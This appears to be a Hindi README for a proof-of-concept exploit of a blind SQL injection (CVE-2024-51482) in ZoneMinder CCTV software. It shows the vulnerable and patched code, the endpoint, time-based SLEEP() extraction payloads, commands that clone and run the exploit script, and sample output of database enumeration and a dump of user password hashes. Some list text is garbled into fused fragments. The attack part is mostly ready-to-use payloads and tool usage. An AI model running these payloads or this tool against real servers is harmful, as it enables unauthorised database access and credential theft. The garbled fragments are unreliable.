
ZenoMinder ब्लाइंड SQL इंजेक्शन PoC
CVE-2024-51482 ZoneMinder, एक लोकप्रिय ओपन-सोर्स सीसीटीवी निगरानी सॉफ्टवेयर, में खोजा गया एक गंभीर बूलियन-आधारित SQL इंजेक्शन भेद्यता है। यह दोष संस्करण 1.37.* से 1.37.64 तक प्रभावित करता है और कम विशेषाधिकार वाले प्रमाणित हमलावरों को अंतर्निहित डेटाबेस सर्वर पर मनमाना SQL कमांड निष्पादित करने की अनुमति देता है।
| मीट्रिक | मान |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSS स्कोर | 9.9 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | निम्न |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | परिवर्तित |
| प्रभाव | गोपनीयता, अखंडता, उपलब्धता - उच्च |
| पैच किया गया संस्करण | 1.37.65 |
भेद्यता web/ajax/event.php फ़ाइल में removetag फ़ंक्शन में मौजूद है। पैरामीटर tid (टैग आईडी) को उचित स्वच्छता या पैरामीटरीकरण के बिना सीधे SQL क्वेरी में जोड़ा जाता है।
असुरक्षित कोड:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
फिक्स्ड कोड:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
असुरक्षित एंडपॉइंट को निम्नलिखित के माध्यम से ट्रिगर किया जा सकता है:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[इंजेक्शन_पॉइंट]
इंजेक्शन पॉइंट प्रतिक्रिया में सीधे क्वेरी परिणाम नहीं लौटाता है, जिससे पारंपरिक UNION-आधारित हमले असंभव हो जाते हैं। इसके बजाय, हमें बूलियन स्थितियों या समय विलंब के माध्यम से जानकारी का अनुमान लगाना चाहिए।
हमारा शोषण SLEEP() फ़ंक्शन के साथ समय-आधारित निष्कर्षण का उपयोग करता है:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
जब यह स्थिति सत्य का मूल्यांकन करती है, तो डेटाबेस 2 सेकंड के लिए सो जाता है, HTTP प्रतिक्रिया में एक मापने योग्य विलंब पैदा करता है।
ASCII(SUBSTRING()) > MID का उपयोग करके श्रेणियों का परीक्षण करते हैं।SLEEP ट्रिगर होता है।स्थिति 1 पर वर्ण निकालने के लिए पेलोड उदाहरण:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# रिपॉजिटरी को क्लोन करें
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# स्क्रिप्ट को निष्पादन योग्य बनाएं
chmod +x CVE-2024-51482.py
# आवश्यक निर्भरताएँ स्थापित करें
pip3 install requests
# जांचें कि लक्ष्य असुरक्षित है या नहीं
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --test
# सभी डेटाबेस खोजें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --discover
# किसी विशिष्ट डेटाबेस में तालिकाएँ सूचीबद्ध करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --tables zm
# किसी विशिष्ट तालिका में कॉलम सूचीबद्ध करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --columns zm Users
# विशिष्ट कॉलम से डेटा डंप करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --dump zm Users "Username,Password"
# उपयोगकर्ता तालिका डंप करें (डिफ़ॉल्ट)
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users
# विस्तृत निष्कर्षण प्रक्रिया के लिए डीबग आउटपुट सक्षम करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --debug
# अधिक विश्वसनीय निष्कर्षण के लिए स्लीप समय समायोजित करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --sleep 3
# रंगीन आउटपुट अक्षम करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --no-color
उदाहरण 1: भेद्यता परीक्षण
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: 192.168.1.100
[*] 'admin' के रूप में 192.168.1.100 पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.058s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
उदाहरण 2: डेटाबेस गणना
$ python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: <लक्ष्य-होस्ट>
[*] 'admin' के रूप में <लक्ष्य-होस्ट> पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.065s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
[*] डेटाबेस गिने जा रहे हैं...
[+] डेटाबेस मिला: information_schema
[+] डेटाबेस मिला: performance_schema
[+] डेटाबेस मिला: zm
[+] डेटाबेस मिले:
1. information_schema
2. performance_schema
3. zm
उदाहरण 3: उपयोगकर्ता क्रेडेंशियल डंप करना
$ python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: <लक्ष्य-होस्ट>
[*] 'admin' के रूप में <लक्ष्य-होस्ट> पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.062s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
[*] zm डेटाबेस से Users तालिका डंप की जा रही है...
[*] 'zm.Users' में कॉलम गिने जा रहे हैं...
[+] कॉलम मिला: Id
[+] कॉलम मिला: Username
[+] कॉलम मिला: Password
[+] कॉलम मिला: Language
[+] कॉलम मिला: Enabled
[*] 'zm.Users' से डेटा डंप किया जा रहा है...
[+] पंक्ति 1: {'Username': 'admin', 'Password': '$2y$10$...हैश किया गया...'}
[+] पंक्ति 2: {'Username': 'operator', 'Password': '$2y$10$...हैश किया गया...'}
[+] निकाले गए उपयोगकर्ता: 2
उपयोगकर्ता: admin
पास: $2y$10$...हैश किया गया...
ईमेल: admin@localhost
सक्षम: 1
उपयोगकर्ता: operator
पास: $2y$10$...हैश किया गया...
ईमेल: operator@localhost
सक्षम: 1
उदाहरण 4: कस्टम डेटा निष्कर्षण
# Events तालिका से विशिष्ट कॉलम डंप करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) पेलोड के साथ परीक्षण करता है।ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP ट्रिगर → प्रतिक्रिया विलंबित।